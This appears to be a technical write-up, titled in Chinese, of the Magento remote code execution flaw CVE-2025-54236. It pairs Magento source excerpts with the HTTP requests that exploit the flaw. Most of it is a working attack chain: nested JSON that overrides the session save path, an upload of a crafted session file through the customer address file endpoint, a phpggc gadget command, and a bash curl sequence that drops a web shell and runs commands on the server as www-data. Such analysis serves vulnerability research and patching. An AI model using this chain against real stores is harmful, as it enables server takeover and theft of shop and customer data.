你中招了嘛？为什么嵌套反序列化仍然有害 — Magento 远程代码执行（CVE-2025-54236）

class SessionManager implements SessionManagerInterface, ResetAfterRequestInterface{
    public function __construct(
        \Magento\Framework\App\Request\Http $request,
        SidResolverInterface $sidResolver,
        ConfigInterface $sessionConfig,
        SaveHandlerInterface $saveHandler,
        ValidatorInterface $validator,
        StorageInterface $storage,
        \Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
        \Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
        \Magento\Framework\App\State $appState,
        ?SessionStartChecker $sessionStartChecker = null) {
        $this->request = $request;
        $this->sidResolver = $sidResolver;
        $this->sessionConfig = $sessionConfig;
        $this->saveHandler = $saveHandler;
        $this->validator = $validator;
        $this->storage = $storage;
        $this->cookieManager = $cookieManager;
        $this->cookieMetadataFactory = $cookieMetadataFactory;
        $this->appState = $appState;
        $this->sessionStartChecker = $sessionStartChecker ?: \Magento\Framework\App\ObjectManager::getInstance()->get(
            SessionStartChecker::class
        );
        $this->start();
    }

    public function start()
    {
        if ($this->sessionStartChecker->check()) {
            if (!$this->isSessionExists()) {
                ...
                $this->initIniOptions();
                $this->registerSaveHandler();
                ...
                session_start();
                ...
                $this->validator->validate($this);
                ...
            } else {
                $this->validator->validate($this);
            }
            $this->storage->init(isset($_SESSION) ? $_SESSION : []);
        }
        return $this;
    }

    private function initIniOptions()
    {
        ...
        foreach ($this->sessionConfig->getOptions() as $option => $value) {
            if ($option === 'session.save_handler' && $value !== 'memcached') {
                continue;
            } else {
                $result = ini_set($option, $value);
                ...
            }
        }
    }
}

class Config implements ConfigInterface{
    public function __construct(
        \Magento\Framework\ValidatorFactory $validatorFactory,
        \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
        \Magento\Framework\Stdlib\StringUtils $stringHelper,
        \Magento\Framework\App\RequestInterface $request,
        Filesystem $filesystem,
        DeploymentConfig $deploymentConfig,
        $scopeType,
        $lifetimePath = self::XML_PATH_COOKIE_LIFETIME) {
        ...
        $savePath = $deploymentConfig->get(self::PARAM_SESSION_SAVE_PATH);
        if (!$savePath && !ini_get('session.save_path')) {
            $sessionDir = $filesystem->getDirectoryWrite(DirectoryList::SESSION);
            $savePath = $sessionDir->getAbsolutePath();
            $sessionDir->create();
        }
        if ($savePath) {
            $this->setSavePath($savePath);
        }
        ...
    }

    public function setSavePath($savePath)
    {
        $this->setOption('session.save_path', $savePath);
        return $this;
    }
}

PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1Host: example.com
Accept: application/json
Cookie: PHPSESSID=testing
Connection: close
Content-Type: application/json
Content-Length: 265

{"paymentMethod": {"paymentData": {"context": {"urlBuilder": {"session": {"sessionConfig": {"savePath": "does/not/exist"}}}}}}}
HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2025 21:05:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store
Content-Length: 104
Connection: close
Content-Type: application/json; charset=utf-8

{"message":"Internal Error. Details are available in Magento log file. Report ID: webapi-68ed6990bd170"}

{
  "paymentMethod": {
    "paymentData": {
      "context": {
        "urlDecoder": {
          "urlBuilder": {
            "request": {
              "pathInfoProcessor": {
                "helper": {
                  "backendUrl": {
                    "session": {
                      "sessionConfig": {
                        "savePath": "PATH"
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

<?xml version="1.0"?>
<!--
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
    <router id="standard">
        <route id="customer" frontName="customer">
            <module name="Magento_Customer" />
        </route>
    </router>
</config>

<?php
...
class Upload extends Action implements HttpPostActionInterface{
    ...
    public function execute()
    {
        try {
            $requestedFiles = $this->getRequest()->getFiles('custom_attributes');
            if (empty($requestedFiles)) {
                $result = $this->processError(__('No files for upload.'));
            } else {
                $attributeCode = key($requestedFiles);
                $attributeMetadata = $this->addressMetadataService->getAttributeMetadata($attributeCode);

                $fileUploader = $this->fileUploaderFactory->create([
                    'attributeMetadata' => $attributeMetadata,
                    'entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS,
                    'scope' => CustomAttributesDataInterface::CUSTOM_ATTRIBUTES,
                ]);

                $errors = $fileUploader->validate();
                if (true !== $errors) {
                    $errorMessage = implode('</br>', $errors);
                    $result = $this->processError(($errorMessage));
                } else {
                    $result = $fileUploader->upload();
                    $this->moveTmpFileToSuitableFolder($result);
                }
            }
        } catch (...) {
            ...
        }

        $resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
        $resultJson->setData($result);
        return $resultJson;
    }
    /**
     * Move file from temporary folder to the 'customer_address' media folder
     *
     * @param array $fileInfo
     * @throws LocalizedException
     */
    private function moveTmpFileToSuitableFolder(&$fileInfo)
    {
        $fileName = $fileInfo['file'];
        $fileProcessor = $this->fileProcessorFactory
            ->create(['entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS]);

        $newFilePath = $fileProcessor->moveTemporaryFile($fileName);
        $fileInfo['file'] = $newFilePath;
        $fileInfo['url'] = $fileProcessor->getViewUrl(
            $newFilePath,
            'file'
        );
    }
    ...
}

POST /customer/address_file/upload HTTP/1.1
Host: 192.168.198.130
Content-Length: 310
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close

------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"

f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes"; filename="test_file"
Content-Type: text/plain

Hello
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--

{
  "error": "No such entity with entityType = customer_address, attributeCode = name",
  "errorcode": 0
}

array(6) {
  ["name"]=>
  string(9) "test_file"
  ["full_path"]=>
  string(9) "test_file"
  ["type"]=>
  string(10) "text/plain"
  ["tmp_name"]=>
  string(14) "/tmp/phpMsGHbm"
  ["error"]=>
  int(0)
  ["size"]=>
  int(5)
}

array(1) {
  ["SOME_ATTRIBUTE"]=>
  array(6) {
    ["name"]=>
    string(9) "test_file"
    ["full_path"]=>
    string(9) "test_file"
    ["type"]=>
    string(10) "text/plain"
    ["tmp_name"]=>
    string(14) "/tmp/phpk8FWf6"
    ["error"]=>
    int(0)
    ["size"]=>
    int(5)
  }
}

mysql> SELECT attribute_code, frontend_input FROM eav_attribute
    -> WHERE entity_type_id = (
    ->   SELECT entity_type_id FROM eav_entity_type
    ->   WHERE entity_type_code = 'customer_address'
    -> );
+---------------------+----------------+
| attribute_code      | frontend_input |
+---------------------+----------------+
| city                | text           |
| company             | text           |
| country_id          | select         |
| fax                 | text           |
| firstname           | text           |
| lastname            | text           |
| middlename          | text           |
| postcode            | text           |
| prefix              | text           |
| region              | text           |
| region_id           | hidden         |
| street              | multiline      |
| suffix              | text           |
| telephone           | text           |
| vat_id              | text           |
| vat_is_valid        | text           |
| vat_request_date    | text           |
| vat_request_id      | text           |
| vat_request_success | text           |
+---------------------+----------------+

POST /customer/address_file/upload HTTP/1.1Host: example.com
Content-Length: 647
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close

------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"

f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="test_file"
Content-Type: text/plain

Hello world
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{"name": "test_file","full_path": "test_file","type": "text/plain","tmp_name": "test_file","error": 0,"size": 11,"file": "/t/e/test_file","url": "http://192.168.198.130/customer/address/viewfile/file/dC9lL3Rlc3RfZmlsZQ~~/"}

HOST="http://example.com"
PAYLOAD_IN="/tmp/payload.php"
PAYLOAD_OUT="/var/www/html/magento2/pub/exploit.php"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)

./phpggc -se -pub -a Guzzle/FW1 "$PAYLOAD_OUT" "$PAYLOAD_IN"

curl -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@/tmp/sess_$SESSID" "$HOST/customer/address_file/upload"
curl -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/abc/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'

$ curl -ks "$HOST/pub/exploit.php" --data 'cmd=echo;echo;id;whoami;pwd;echo'
[{"Expires":1,"Discard":false,"Value":"

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html/magento2/pub

n"}]

MagentoQuoteModelQuotePayment
  MagentoQuoteApiDataPaymentExtensionInterface
MagentoQuoteModelQuoteAddress
MagentoQuoteModelQuoteItem
  MagentoQuoteApiDataCartItemExtensionInterface
  MagentoQuoteModelQuoteProductOption
    MagentoQuoteApiDataProductOptionExtensionInterface
MagentoQuoteModelCartTotalsAdditionalData
  MagentoQuoteApiDataTotalsAdditionalDataExtensionInterface
MagentoFrameworkApiSearchCriteria
  MagentoFrameworkApiSearchFilterGroup
  MagentoFrameworkApiSortOrder
MagentoCheckoutModelShippingInformation
  MagentoCheckoutApiDataShippingInformationExtensionInterface
  MagentoQuoteModelQuoteAddress
MagentoCheckoutModelTotalsInformation
  MagentoCheckoutApiDataTotalsInformationExtensionInterface
  MagentoQuoteModelQuoteAddress
MagentoGiftMessageModelMessage
MagentoCustomerModelDataCustomer